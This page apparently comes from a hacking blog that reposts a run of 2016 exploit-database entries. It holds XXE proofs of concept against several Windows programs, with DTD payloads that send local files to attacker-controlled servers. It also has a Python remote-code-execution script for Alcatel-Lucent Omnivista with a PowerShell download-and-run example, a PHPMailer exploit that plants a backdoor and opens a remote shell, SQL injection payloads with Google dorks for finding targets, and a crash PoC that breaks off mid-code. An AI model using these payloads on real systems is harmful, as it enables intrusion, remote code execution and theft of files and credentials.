Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863582841

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-STARTER-XXE-REMOTE-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
============================
Microsoft Excel Starter 2010
EXCELC.EXE  / "OFFICEVIRT.EXE"

This is a bundled Excel "starter" version that comes 'pre-loaded' with some
Windows systems running, this was tested on Windows 7 etc.

"C:\Program Files (x86)\Common Files\microsoft shared\Virtualization
Handler\CVH.EXE" "Microsoft Excel Starter 2010 9014006604090000"
C:\PROGRA~2\COMMON~1\MICROS~1\VIRTUA~1

Reference:
https://support.office.com/en-us/article/Excel-features-that-are-not-fully-supported-in-Excel-Starter-0982b3f1-7bca-49a7-a04b-3c09d05941d4

Microsoft Excel Starter 2010 is a simplified version of Excel that comes
pre-loaded on your computer.
Excel Starter includes features that are basic to creating and working with
spreadsheets, but it does not include the rich set of features found
in the full version of Excel.



Vulnerability Type:
====================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Microsoft Excel Starter OLD versions specifically ".xls" and ".xlthtml"
files are vulnerable to XML External Entity attack. This can allow
remote attackers to access and disclose ANY files from a victims computer
if they open a corrupt ".xls" Excel file. We can also abuse XXE to
make connections to the victims system/LAN and bypass Firewall,IPS etc
(XXE/SSRF).

Note: This has NOT worked in regular or updated patched Excel editions.

When open the victim will get a warn message about it being a "different
format and from trusted source".
If user choose open the file they get error message "File cannot be opened
because: System does not support the specified encoding."
Then files you target get accessed and transfered to remote server.

IF Excel version is "patched" or newer you will see message like "File
cannot be opened because: Reference to undefined entity 'send' etc..."
and XXE will fail.

Tested successfully on several machines HP, TOSHIBA Windows 7 SP1 with
Excel Starter 2010 versions. As some machines may still be running old
pre-loaded Excel version it can be relevant so I release it anyways...



Exploit code(s):
===============

POC to exfiltrate "system.ini" used by MS ADO Remote Data Services.


Listen port 8080 (ATTACKER-SERVER)
python -m SimpleHTTPServer 8080


1) "payload.dtd" ( host on attacker server port 8080 same dir as our python web server )

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-SERVER:8080?%file;'>">
%all;


2) "PWN.xls"  Get vicitm to open it, ANY files belong to you!

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>



Open the "PWN.xls" in Excel Starter 2010 then BOOM! ... its raining files!


Video POC:
https://vimeo.com/181891000



Disclosure Timeline:
=======================================
Vendor Notification: September 4, 2016
MSRC Response: "Out of date Office Client"
December 4, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.microsoft.com



Product:
==================================
Windows Media Center "ehshell.exe"
version 6.1.7600



Vulnerability Type:
====================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity
attack allowing remote access to ANY files on a victims computer, if they
open
an XXE laden ".mcl" file via a remote share / USB or from an malicious
"windowsmediacenterweb" web link.

Sometimes 'Windows Media Center' will crash, sometimes opens normally and
other times will not open, but the files get accessed and exfiltrated.


Tested Windows 7 SP1



Exploit code(s):
===============

POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.


1) ATTACKER-IP listener
python -m SimpleHTTPServer 8080



2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on
ATTACKER-IP in directory where python server is listen)

<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM '
http://ATTACKER-IP:8080/%data666;'>">



3) Create the "EVIL.mcl" file.


<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>



4) Get victim to open the EVIL.mcl ... enjoy your files!

OR create link on webpage to run the file, but "user has to consent first".

<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>



Disclosure Timeline:
=======================================
Vendor Notification:  September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
import socket
import time
import sys
import os

# ref https://blog.malerisch.net/
# Omnivista Alcatel-Lucent running on Windows Server


if len(sys.argv) < 2:
    print "Usage: %s <target> <command>" % sys.argv[0]
    print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\"" % sys.argv[0]
    sys.exit(1)

target = sys.argv[1]
argument1 = ' '.join(sys.argv[2:])

# so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...

netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()
netbiosname = netbiosname.strip("\n")

# dirty functions to do hex magic with bytes...
### each variable has size byte before, which includes the string + "\x00" a NULL byte
### needs to calculate for each
### 

def calcsize(giop):

	s = len(giop.decode('hex'))
	h = hex(s) #"\x04" -> "04"
	return h[2:].zfill(8) # it's 4 bytes for the size

def calcstring(param): # 1 byte size calc
	
	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(2) # assuming it is only 1 byte , again it's dirty...

def calcstring2(param):

	s = (len(param)/2)+1
	h = hex(s)
	return h[2:].zfill(4)



##

#GIOP request size is specified at the 11th byte

# 0000   47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00  GIOP............
# d8 is the size of GIOP REQUEST

# GIOP HEADER Is 12 bytes -
# GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte



#phase 1 - add a jobset

giopid = 1 # an arbitrary ID can be put there...

# there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...

usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex') # original "383737302061646d696e697374726174696f6e2c6f3d6e6d63"

#print "Size of usernamedata" + str(len(usernamedata.decode('hex')))

jobname = "MYJOB01".encode('hex') # size of 7 bytes # check also in the captured packet...


addjobset = "47494f50010000000000012600000000" + "00000001" + "01000000000000135363686564756c6572496e7465726661636500000000000a4164644a6f625365740000000000000000000008" + jobname + "00000007e0000000060000001b00000010000000240000000000000000000000000000000000000000000000000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083131313131313100010000000000000000000000000000010000000000000000000000000000003f7569643d" + usernamedata + "00000000000a6f6d6e69766973626200" # this last part can be changed???

print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"
print "Connecting to target..."




p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((target, 30024))


#p = remote(target, 30024, "ipv4", "tcp")

print "Adding a job..."

p.send(addjobset.decode('hex'))

#p.recv()

data = p.recv(1024)

s = len(data)

#objectkey = "" # last 16 bytes of the response!

objectkey = data[s-16:s].encode('hex')

#print objectkey

# phase 2 - active jobset

print "Sending active packet against the job"

activegiopid = 2
active = "47494f50010000000000003100000000" + "00000002" + "0100000000000010" + objectkey +  "0000000741637469766500000000000000"

#print active

p.send(active.decode('hex'))

data2 = p.recv(1024)

#print data2

# phase3 add task

addjobid = 3

print "Adding a task...."

taskname = "BBBBBBB".encode('hex')
servername = netbiosname.encode('hex')
command = "C:\Windows\System32\cmd.exe".encode('hex') #on 32bit
#command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit
commandsize = hex((len(command.decode('hex'))+1))
commandsize = str(commandsize).replace("0x","")

#print "Command size: "+ str(commandsize)

#print command.decode('hex')

#time.sleep(10)

#powershell = str(command)
#powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

#-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');

argument = str("/c "+argument1).encode('hex')
#argument = str("/c notepad.exe").encode('hex')

#print len(argument.decode('hex'))

#argumentsize = len(str("/c "+powershell))+1

#print "Argument size: "+str(argumentsize)

argumentsize = calcstring2(argument)

#print "argument size: "+str(argumentsize)

#print argument.decode('hex')

def calcpadd(giop):
	defaultpadding = "00000000000001"
	check = giop + defaultpadding + fixedpadding
	s = len(check)
	#print "Size: "+str(s)
	if (s/2) % 4 == 0:
		#print "size ok!"
		return check
	else:
		# fix the default padding
		#print "Size not ok, recalculating padd..."
		dif = (s/2) % 4
		#print "diff: "+str(dif)
		newpadding = defaultpadding[dif*2:]
		#print "Newpadding: " +str(newpadding)
		return giop + newpadding + fixedpadding




addjobhdr = "47494f5001000000" # 8 bytes + 4 bytes for message size, including size of the giop request message

fixedpadding = "000000000000000100000000000000010000000000000002000000000000000000000000000000000000000f0000000000000000000000000000000000000002000000000000000000000000"

variablepadding = "000000000001"

#print calcstring(servername)
#print calcstring(taskname)

#print "Command:" +str(command)
#print "command size:"+str(commandsize)

addjob = "00000000000000b30100000000000010" + objectkey + "000000074164644a6f62000000000000000000" + calcstring(taskname) + taskname + "0000000001000000"+ commandsize + command  +"00000000" + calcstring(servername) + servername + "000000" + argumentsize + argument + "00"

#print addjob

addjobfin = calcpadd(addjob)

#print addjobfin.decode('hex')

addjobsize = calcsize(addjobfin)

#print "Lenght of the addjob: "+str(len(addjobfin.decode('hex')))

# we need to add the header

finalmsg = addjobhdr + addjobsize + addjobfin


p.send(finalmsg.decode('hex'))

data3 = p.recv(1024)

#print data3

# phase4 - execute task

executeid = 4

print "Executing task..."

execute = "47494f50010000000000003500000000000001100100000000000010" + objectkey + "0000000b457865637574654e6f7700000000000000"

p.send(execute.decode('hex'))

data4 = p.recv(1024)

print "All packets sent..."
print "Exploit sequence completed, command should have been executed...:-)"

p.close()

# optional requests to remove the job after the exploitation

### in metasploit, we should migrate to another process and then call an "abort" function of Omnivista

##phase5 - abort the job

canceljob = "47494f500100000000000030000000000000008e0100000000000010" + objectkey + "0000000743616e63656c000000000000"

###phase6 - delete the jobset 

deletejob = "47494f500100000000000038000000000000009e0100000000000010" + objectkey + "0000000d44656c6574654a6f625365740000000000000000"	
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec

[+] CVE: CVE-2019-0948


Vendor:
=================
www.microsoft.com



Product:
========================
Microsoft Event Viewer
Version: 1.0

The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.


Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).



Tested Windows 7 SP1


Exploit code(s):
===============


1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.

User gets error like "The specified custom view is not valid" attacker gets
files!



"payload.dtd" (host on attacker server)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;


"MyCustomView.xml"  (malicious windows Event Custom View XML)

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Attacker server listener

python -m SimpleHTTPServer 8080




Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
==========================
Windows System Information
MSINFO32.exe v6.1.7601


Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system
components, and software environment.

Parameters
FileName   : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file.



Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack
which can potentially allow remote attackers to
gain access to and exfiltrate files from the victims computer if they open
a malicious ".nfo" file via remote share / USB etc.

Upon open the file user will see error message like "System Information is
unable to open this .nfo file. The file might
be corrupt etc..


Tested Windows 7 SP1


Exploit code(s):
===============

Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.
This file contains credentials for MS ADO Remote Data Services.


1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)



2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>">
%all;



3) "FindMeThatBiatch.nfo" (corrupt .NFO file)

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX [
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>



Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32
opens... attacker gets files.

OR open via Windows CL:
c:\>msinfo32  \\REMOTE-SHARE\FindMeThatBiatch.nfo



Disclosure Timeline:
======================================
Vendor Notification: September 4, 2016
Vendor Reply "not meet the bar for security servicing": September 7, 2016
December 4, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
Both of these issues were reported to the Apport maintainers and a fix was released on 2016-12-14. The CrashDB code injection issue can be tracked with CVE-2016-9949 and the path traversal bug with CVE-2016-9950. An additional problem where arbitrary commands can be called with the “Relaunch” action is tracked by CVE-2016-9951. I’d like to thank Martin Pitt and the Ubuntu security team for getting a fix (https://bugs.launchpad.net/apport/+bug/1648806) released so quickly. They have been a pleasure to work with.

I would encourage all security researchers to audit free and open source software if they have time on their hands. Projects such as Tor, Tails, Debian and Ubuntu all need more eyes for audits which can improve the safety of the internet for everyone. There are lots of bugs out there which don’t need hardcore memory corruption exploitation skills. Logic bugs can be much more reliable than any ROP chain.

The computer security industry has a serious conflict of interest right now. There is major financial motivation for researchers to find and disclose vulnerability to exploit brokers. Many of the brokers are in the business of keeping problems unfixed. Code execution bugs are valuable. As a data point, I received an offer of more than 10,000 USD from an exploit vendor for these Apport bugs. These financial motivators are only increasing as software gets more secure and bugs become more difficult to find.

To improve security for everyone we need to find sustainable ways to incentivize researchers to find and disclose issues and to get bugs fixed. We can’t and we shouldn’t rely on researchers giving away their work for free to for-profit vendors. We will not get security like that.

Microsoft and Google have shown a good example with their vulnerability reward programs. The Internet Bug Bounty (https://internetbugbounty.org/) is also doing great work and helping to support research on critical internet software. I hope that they can continue the program and expand their scope in the future. I hope we can cooperatively build a shared and secure internet together.

Source: https://donncha.is/2016/12/compromising-ubuntu-desktop/



Download: https://github.com/DonnchaC/ubuntu-apport-exploitation/archive/6ecfdf798f39fdd49b5929240d90a876c1e97ebb.zip
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40937.zip
            
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/

# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 7.1.3
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: any user. $_POST[‘cat_id’] is not escaped. Is accessible for any user.

http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/

2 - Proof of Concept:

<form action="http://target/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>

3 - Timeline:


- 12/12/2016 – Discovered
- 13/12/2016 – Vendor notifed
- 16/12/2016 – Resolve issue version 7.1.5
            
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo '[+] CVE-2016-10033 exploit by opsxcq'

if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi

host=$1

echo '[+] Exploiting '$host

curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'

cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
            
=====================================================
# Vendor Homepage: http://www.wampserver.com/
# Date: 10 Dec 2016
# Version : Wampserver 3.0.6 32 bit x86
# Tested on: Windows 7 Ultimate SP1 (EN)
# Author: Heliand Dema
# Contact: heliand@cyber.al
=====================================================
 
Wampserver installs two services called 'wampapache' and 'wampmysqld'
with weak file permission running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local user
to execute arbitrary code with elevated privileges on the system.

C:\>sc qc wampapache
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wampapache
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
"c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe" -k runservice
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : wampapache
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem



PS C:\> icacls c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
BUILTIN\Administrators:(I)(F)                    <--- Full Acces
                                              NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Users:(I)(RX)
                                              NT AUTHORITY\Authenticated
Users:(I)(M)           <--- Modify


C:\Windows\system32>sc qc wampmysqld
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wampmysqld
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe wampmysqld
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : wampmysqld
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


PS C:\> icacls  c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
BUILTIN\Administrators:(I)(F)                <--- Full Acces
                                             NT AUTHORITY\SYSTEM:(I)(F)
                                             BUILTIN\Users:(I)(RX)
                                             NT AUTHORITY\Authenticated
Users:(I)(M)       <--- Modify


Notice the line: NT AUTHORITY\Authenticated Users:(I)(M) which lists the
permissions for authenticated however unprivileged users. The (M) stands
for Modify, which grants us, as an unprivileged user, the ability to
read, write and delete files and subfolders within this folder.


====Proof-of-Concept====

To properly exploit this vulnerability, the local attacker must insert
an executable file called mysqld.exe or httpd.exe and replace the
original files. Next time service starts the malicious file will get
executed as SYSTEM.
            
========================================================================================== 
Joomla com_blog_calendar SQL Injection Vulnerability 
========================================================================================== 

:-------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : Joomla com_blog_calendar SQL Injection Vulnerability  
: # Date : 26th December 2016  
: # Author : X-Cisadane 
: # CMS Name : Joomla 
: # CMS Developer : http://joomlacode.org/gf/project/blog_calendar/ 
: # Category : Web Application 
: # Vulnerability : SQL Injection 
: # Tested On : SQLMap 1.0.12.9#dev
: # Greetz to : X-Code YogyaFree, ExploreCrew, CodeNesia, Bogor Hackers Community, Borneo Crew, Depok Cyber, Mantan 
:-------------------------------------------------------------------------------------------------------------------------: 

A SQL Injection Vulnerability has been discovered in the Joomla Module called com_blog_calendar. 
The Vulnerability is located in the index.php?option=com_blog_calendar&modid=xxx Parameter. 
Attackers are able to execute own SQL commands by usage of a GET Method Request with manipulated modid Value. 
Attackers are able to read Database information by execution of own SQL commands. 
  
DORKS (How to find the target) : 
================================  
inurl:/index.php?option=com_blog_calendar 
Or use your own Google Dorks :) 

Proof of Concept  
================  

SQL Injection 
PoC :  
http://[Site]/[Path]/index.php?option=com_blog_calendar&modid=['SQLi]  
            
#Exploit FTPShell server 6.36 '.csv' Crash(PoC)
#Author:  albalawi_sultan
#Tested on:win7
#st :http://www.ftpshell.com/download.htm
#1-open FTPShell Server Administrator
#2-manage Ftp accounts
#3-import from csv
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
